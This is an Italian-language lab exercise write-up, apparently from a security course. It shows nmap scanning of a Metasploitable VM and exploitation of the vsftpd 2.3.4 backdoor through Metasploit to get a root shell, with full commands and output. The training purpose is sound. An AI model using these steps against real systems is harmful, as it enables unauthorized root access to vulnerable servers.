

Esercizio 12/06

abbiamo cambiato ip di kali in 192.168.1.236

```
GNU nano 7.2
# This file describes the network interface
# and how to activate them. For more inform

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.1.236/24
gateway 192.168.1.1
#iface eth0 inet dhcp
```

abbiamo cambiato l'ip di meta in 192.168.1.249

```
GNU nano 2.0.7      File: /etc/network/interfaces

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.249
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

[ Read 16 lines ]
^G Get Help  ^O WriteOut  ^R Read File  ^Y Prev Page  ^K Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is   ^V Next Page  ^U UnCut Text ^T To Spell
```

Nmap con ip meta 192.168.1.249

```
(kali@kali)-[~]
└─$ nmap -sV 192.168.1.249
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 06:59 EDT
Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 99.99% done; ETC: 06:59 (0:00:00 remaining)
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.26 seconds

(kali@kali)-[~]
└─$ nmap -sV 192.168.1.249
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 06:59 EDT
Nmap scan report for 192.168.1.249
Host is up (0.00031s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

abbiamo cercato il servizio ftp con msfconsole

```
msf6 > search vsftpd

Matching Modules
┌───────────┴───────────┐
#  Name                                     Disclosure Date  Rank     Check  Description
-  -                                     -
0  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution
```

col comando use 0 ,andiamo ad usare il payload default

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      127.0.0.1         no        The local client address
  CPORT      4444              no        The local client port
  Proxies     []                no        A proxy chain of format type:
  RHOSTS     127.0.0.1         yes       The target host(s), see https
  RPORT      21                yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     127.0.0.1
  LURI      /

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

eseguiamo l'exploit

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

#  Name                               Disclosure Date  Rank  Check  Description
-  -
0  payload/cmd/unix/interact           2013-07-01      normal No      Unix Command, Interact with Established Connection
```

associamo come host l'ip di metasploit

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
```

Name	Current Setting	Required	Description
CHOST	192.168.1.249	no	The local client address
CPORT	21	no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port]
RHOSTS	192.168.1.249	yes	The target host(s), see https://docs.metasploit.com
RPORT	21	yes	The target port (TCP)

```
Payload options (cmd/unix/interact):
```

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

```
Exploit target:
```

Id	Name
0	Automatic

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 192.168.1.249:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.249:21 - USER: 331 Please specify the password.
[+] 192.168.1.249:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.249:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.236:41685 → 192.168.1.249:6200) at 2023-06-12 07:06:26 -0400
```

```
ifconfig
```

```
eth0      Link encap:Ethernet  HWaddr 08:00:27:a4:40:6a
          inet addr:192.168.1.249  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fea4:406a/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1483 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1484 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:118917 (116.1 KB)  TX bytes:120380 (117.5 KB)
          Base address:0xd010  Memory:f0200000-f0220000
```

```
lo
```

```
Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:16436  Metric:1
RX packets:226 errors:0 dropped:0 overruns:0 frame:0
TX packets:226 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:68901 (67.2 KB)  TX bytes:68901 (67.2 KB)
```

successivamente andiamo a creare la cartella test_meta dentro la directory root (/)

```
cd /
mkdir test_meta
sudo reboot
[*] 192.168.1.249 - Command shell session 2 closed.
```

```
msfadmin@metasploitable:/$ ls
?   cdrom  home    lib      mnt      proc     srv      tmp      vmlinuz
bin  dev      initrd  lost+found  nohup.out  root     sys      usr
boot etc    initrd.img  media    opt      sbin     test_meta  var
msfadmin@metasploitable:/$
```